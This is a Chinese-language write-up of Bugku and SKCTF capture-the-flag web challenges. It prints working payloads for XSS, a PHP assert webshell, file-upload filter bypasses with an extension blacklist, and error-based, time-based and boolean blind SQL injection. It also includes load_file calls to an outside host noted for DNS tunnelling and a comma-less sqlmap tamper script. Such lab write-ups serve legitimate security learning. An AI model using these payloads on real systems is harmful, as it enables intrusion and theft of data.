CTF中的Web题目

CTF中的web题目


Bugku

矛盾

tupian
!is_numeric($num): 判断输入不是数字或数字字符串
还要让输入的值==1,我们就构造字符串,num=1a,等号判断时,会取字符串第一个值进行比较

变量1

bianliang
preg_match进行正则匹配,\w+匹配一或多个字符数字下划线,后面dump的变量是可变变量,所以可以借机把我们想要的变量打印出来,一开始我构造args=flag,并无卵用。返回NULL,说明不存在flag这个变量,那我们就把所有的变量都打印出来。

这里用到超全局变量GLOBAL,构造args=GLOBAL,打印出来所有变量即可

xss攻击

研究了一天的xss,并没有什么实际的进展。这道xss是用htmlspecialchars()函数将<、>进行html实体化,让浏览器在html编码解析时,发现它是实体化的编码,就把他们解码为普通的可视化的<、>。这里我们看源码知道这是utf-8的编码方式,我们如果用unicode的方式编码<,后端不识别这个unicode为<,但html解析之后,unicode又变回<,js解析器解析完script标签之后,触发Js引擎执行这段js代码。所以我们构造playload:

\u003cscript\u003ealert(_key_)\u003c/script\u003e

\u开头好像表示的是Utf-8的unicode编码形式(瞎猜的),好菜啊。。这个并没有完全搞懂。
google了半天的浏览器渲染,明白了这个道理:一旦html解析到script标签的时候,就会启动js解析器来解析标签里面的东西,js解析完了之后就执行里面的Js语句。html继而再向后进行解析。

贴几个介绍编码绕过xss的文章:
浏览器加载、解析、渲染的过程
xss编码与绕过
xss编码剖析
字符转unicode

Web4

提示让我们看源码,发现有一串url编码的东西,
解码后传值就行了,拼接两个escape的值

备份是个好习惯

备份文件泄露,php代码泄露检测工具SourceLeakHacker

never give up

查看源码有一个1p.html页面,访问之后出现一堆base64编码的内容,解码后是页面源码,费劲心思构造b,没想到最后直接访问f4l2a3g.txt就可以…

过狗一句话

题目给出你了源码

<?php 
$poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
$poc_2($_GET['s']) 
?>

也就是说会执行一个(assert函数)[http://www.php.net/manual/zh/function.assert.php]
所以我们只需要给s赋值为我们想要执行的语句。
看到别人的Wp,应该是先扫描一下当前目录看有什么东西
payload:

s = print_r(scandir('./'))

这里我们用print_r来打印数组相关信息,而不是print。
关于绝对路径的用法:

  1. ./ 当前目录
  2. ../ 上层目录
  3. ../../ 上2层目录

前女友

这个跟实验吧php是最好的语言有点类似。
打开它提示的链接,然后代码审计。
md5可以用数组绕过,也可以用0e开头的md5值绕过。
Strcmp可以用数组绕过。
我的payload:

?v1=s878926199a&v2=s155964671a&v3[]=1

po一个php函数漏洞的总结链接

login1(SKCTF)

hint:sql约束攻击
去百度了一下什么叫约束攻击
约束的意思就是对长度进行约束,看完上面的链接基本上就知道注册时的用户名怎么构造了。
我的构造:
admin (前方为空格)

web8

这个题有点意思,涉及到extract()变量覆盖,看一下给的源代码:

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
  • 首先了解一下empty函数
    这个函数一开始把我误导了,empty是用来测试变量是否已经配置。若变量已存在、非空字符串或者非零,则返回 false 值,反之返回ture。

  • 再介绍一下extract函数:
    extract() 函数从数组中将变量导入到当前的符号表。
    该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

题目提示有txt文件,我们访问一下flag.txt,发现内容是:flags。
我们要传入一个非空的ac,让它的值===$f,$f来自于读取文件获得里面的字符串,文件名叫$fn。目前我们不知道$fn指向哪个文件,但是我们知道有flag.txt这个文件。所以我们让$ac=flags并且$fn=flag.txt就行了
payload:

?$ac=flags&$fn=flag.txt

求getshell

这是一个上传绕过题目,后缀很名单检测和类型检测
php别名php2, php3, php4, php5, phps, pht, phtm, phtml
发现php5可以绕过,还要更改 Content-Type里,把multipart改成大写(搞不懂问什么)。
贴一个上传绕过总结的[链接](https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/)

上传文件时waf会检查哪里?
请求的url
Boundary边界
MIME类型
文件扩展名
文件内容

常见扩展名黑名单:
asp|asa|cer|cdx|aspx|ashx|ascx|asax
php|php2|php3|php4|php5|asis|htaccess
htm|html|shtml|pwml|phtml|phtm|js|jsp
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini

sql注入2

写着sql注入的名字,看到网上说竟然是DS_Store源码泄露??exm???最后直接访问http://120.24.86.145:8007/web2/flag,就可以下载到flag

报错注入

题目链接
既然提示了报错注入,我们就按照提示来注入,我使用的是updatexml报错函数,测试一下:
ceshi
可以看到,爆出了库名,说明这个方法可行。题目给了提示让我们读文件内容,要用到load_file函数,先看一下函数的几种用法举例:

select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb协议
select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道

我们的思路是把concat里面查询数据库的句子替换为substr(返回值函数),不让报错函数打印数据库的名字了,而是打印我们读到的文件内容,substr就相当于printf的作用。题目过滤了单引号,我们就用十六进制表示绝对路径,但是要用到hex()函数让数据库知道我们要将字符串转为16进制。值得注意的是concat语句第一个空不可省略,否则打印不出内容。完整的payload:

http://103.238.227.13:10088/?id=1%0aor%0aupdatexml(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30)),1)

先返回读到内容前30位的16进制,再更改语句依次往后读:

http://103.238.227.13:10088/?id=1%0aor%0aupdatexml(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),31,30)),1)

tupian
将读到的16进制转换为字符:
jieguo

insert into注入

先审计一下源码:

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

explode过滤逗号,所以报错注入肯定行不通。看到网上的Wp说是基于时间的盲注,盲注点很显然是XFF。经过测试payload有效:

X-Forwarded-For:1'+sleep(5) and '1'='1

页面返回有一个延时,这里就不能用if(,,)语句了,因为过滤了逗号,用另一个注入语句:

select case when (条件) then 代码1 else 代码 2 end

于是有了如下的payload:

1' and (select case when (select length(flag) from flag limit 1)=32 then sleep(5) else 1 end) and '1'='1

emmm,手注是不可能的,这辈子是不可能手注的(手动滑稽),我们抓个包让sqlmap以XFF为注入点扫描,再加个过滤逗号的tamper就好了。若以XFF为注入点,则要在抓包后的导出文件里XFF后加*,标识为注入点如图:
zhurudian
然后找了网上大神的过滤逗号的tamper,放在Sqlmap目录里,命名为comamalessmysql.py

#!/usr/bin/env python

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces some instances with something whthout comma 

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0


    >>> tamper('ISNULL(TIMESTAMPADD(MINUTE,7061,NULL))')
    'ISNULL(NULL)'

    >>> tamper('MID(VERSION(), 2, 1)')
    'MID(VERSION() FROM 2 FOR 1)'

    >>> tamper('IF(26=26,0,5)')
    'CASE WHEN 26=26 THEN 0 ELSE 5 END'

    >>> tamper('IFNULL(NULL,0x20)')
    'CASE WHEN NULL=NULL THEN 0x20 ELSE NULL END'

    >>> tamper('LIMIT 2, 3')
    'LIMIT 3 OFFSET 2'
    """


    def commalessif(payload):
        if payload and payload.find("IF") > -1:
            while payload.find("IF(") > -1:
                index = payload.find("IF(")
                depth = 1
                comma1, comma2, end = None, None, None

                for i in xrange(index + len("IF("), len(payload)):
                    if depth == 1 and payload[i] == ',' and not comma1:
                        comma1 = i

                    elif depth == 1 and payload[i] == ',' and comma1:
                        comma2 = i

                    elif depth == 1 and payload[i] == ')':
                        end = i
                        break

                    elif payload[i] == '(':
                        depth += 1

                    elif payload[i] == ')':
                        depth -= 1

                if comma1 and comma2 and end:
                    _ = payload[index + len("IF("):comma1]
                    __ = payload[comma1 + 1:comma2]
                    ___ = payload[comma2 + 1:end]
                    newVal = "CASE WHEN %s THEN %s ELSE %s END" % (_, __, ___)
                    payload = payload[:index] + newVal + payload[end + 1:]
                else:
                    break

        return payload

    def commalessifnull(payload):
        if payload and payload.find("IFNULL") > -1:
            while payload.find("IFNULL(") > -1:
                index = payload.find("IFNULL(")
                depth = 1
                comma, end = None, None

                for i in xrange(index + len("IFNULL("), len(payload)):
                    if depth == 1 and payload[i] == ',':
                        comma = i

                    elif depth == 1 and payload[i] == ')':
                        end = i
                        break

                    elif payload[i] == '(':
                        depth += 1

                    elif payload[i] == ')':
                        depth -= 1

                if comma and end:
                    _ = payload[index + len("IFNULL("):comma]
                    __ = payload[comma + 1:end].lstrip()
                    newVal = "CASE WHEN %s=NULL THEN %s ELSE %s END" % (_, __, _)
                    payload = payload[:index] + newVal + payload[end + 1:]
                else:
                    break

        return payload

    retVal = payload

    if payload:
        retVal = re.sub(r'(?i)TIMESTAMPADD\(\w+,\d+,NULL\)', 'NULL', retVal)
        retVal = re.sub(r'(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)', 'MID(\g<1> FROM \g<2> FOR \g<3>)', retVal)
        retVal = commalessif(retVal)
        retVal = commalessifnull(retVal)
        retVal = re.sub(r'(?i)LIMIT\s*(\d+),\s*(\d+)', 'LIMIT \g<2> OFFSET \g<1>', retVal)

    return retVal

然后Sqlmap里跑一下,语句如下:
sqlmap

多次

这道题困了我一天,一开始我以为是盲注,于是花时间在写脚本花了一天。。后来找到一个wp其实就是手注,只是过滤掉了union一些关键词,看一下题目:

  • 查询有结果时,返回nothing
  • 查询无结果时,返回error
  • %23可注释,引号可用

ok,知道上述条件,我们测一下它过滤了什么。
介绍一种检查过滤的方法,叫异或判断:
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。ysql里异或运算符为^ 或者 xor

  1. 构造id=1’^(条件)^’
  2. 判断的两个条件一个是括号里的条件,另一个是后面的’’,’’为空,即为0。所以括号里的条件若是成立,则页面返回错误;反之则页面返回正常
  3. 完整payload:
    http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)^'
    返回正确,说明判断条件是错的,所以union被过滤了
    我们用叠加语句看一下 uniunionon是否会被过滤,payload:
    http://120.24.86.145:9004/1ndex.php?id=1'^(length('uniunionon')=5)^'
    返回错误,说明判断条件正确,所以这个可以当作union使用。
  4. 接下来就是一些基础查询了,题目说有两个flag,再查到另一个列时,出现一个网址:
    Once_More.php
  5. 里面还有一道注入题,因为它会回显你提交的参数,所以想知道过滤了什么直接就可以看出来,过滤了Union,我用的报错注入解决的
  6. over,这道题学习了异或注入判断过滤。

login3{SKCTF}

tip给了说是布尔盲注
在username这个注入点测试一下,初步手工模糊测试,发现过滤了空格、逗号、等号,没有过滤#和’。因为是布尔盲注,那我们构造ascii函数语句。首先我们猜测一个用户名吧,就猜Admin,发现回显是:password error。
这说明这个用户名存在,那么我们就可以把这句话作为一个判断对错的语句,结合异或注入进行ascii的猜测。(用户名错误时会返回 username does not exist!)

  1. 过滤了‘=’,那么我们ascii的等号语句就没法使用了,经过测试like是绕不过去的。那我们就通过这句话替换掉等号:
    username=admin'^(ascii('a')-97)
    等价于:
    username=admin'^(0)
    异或注入,因为a的十进制ascii为97,所以与(0)异或。
  • (0)条件时返回”password error”
  • 其余条件时返回”username does not exist!”
  1. 直接上py脚本跑:
    jiaoben
    这里需要解释一下,既然过滤了逗号,那么我们substr(,,)的语句就没用了。我们可以换一种形式表达,即substr(database()from1),这样的返回值如图:
    substr1
    substr2
    所以问题就来了,ascii函数对字符串的返回值是什么呢? 这个问题想了我好久,一开始是找的别人的脚本,看他们写遍历的时候卡在这个地方,这尼玛的ascii面对字符串难道不是返回NULL?!。后来发现自己惯性思维了,测试一下,ascii()这个破函数在处理字符串的时候会返回字符串第一个字符的ascii值,难受ing…

还有一个问题就是过滤掉了information,这让查表就变的头疼。
但是我们想一下php后端处理过程,它对username的处理无非是下边框架的语句:
select username from 表 where username = “admin”^()
所以它为我们已经找好了表了,既然题把information锁死了,那flag就只可能是这个admin的密码了。那我们要做的就是查admin密码

看一下下面这个语句:
password

我们的密码猜对时,返回false,跟上面异或的思路一样

not found!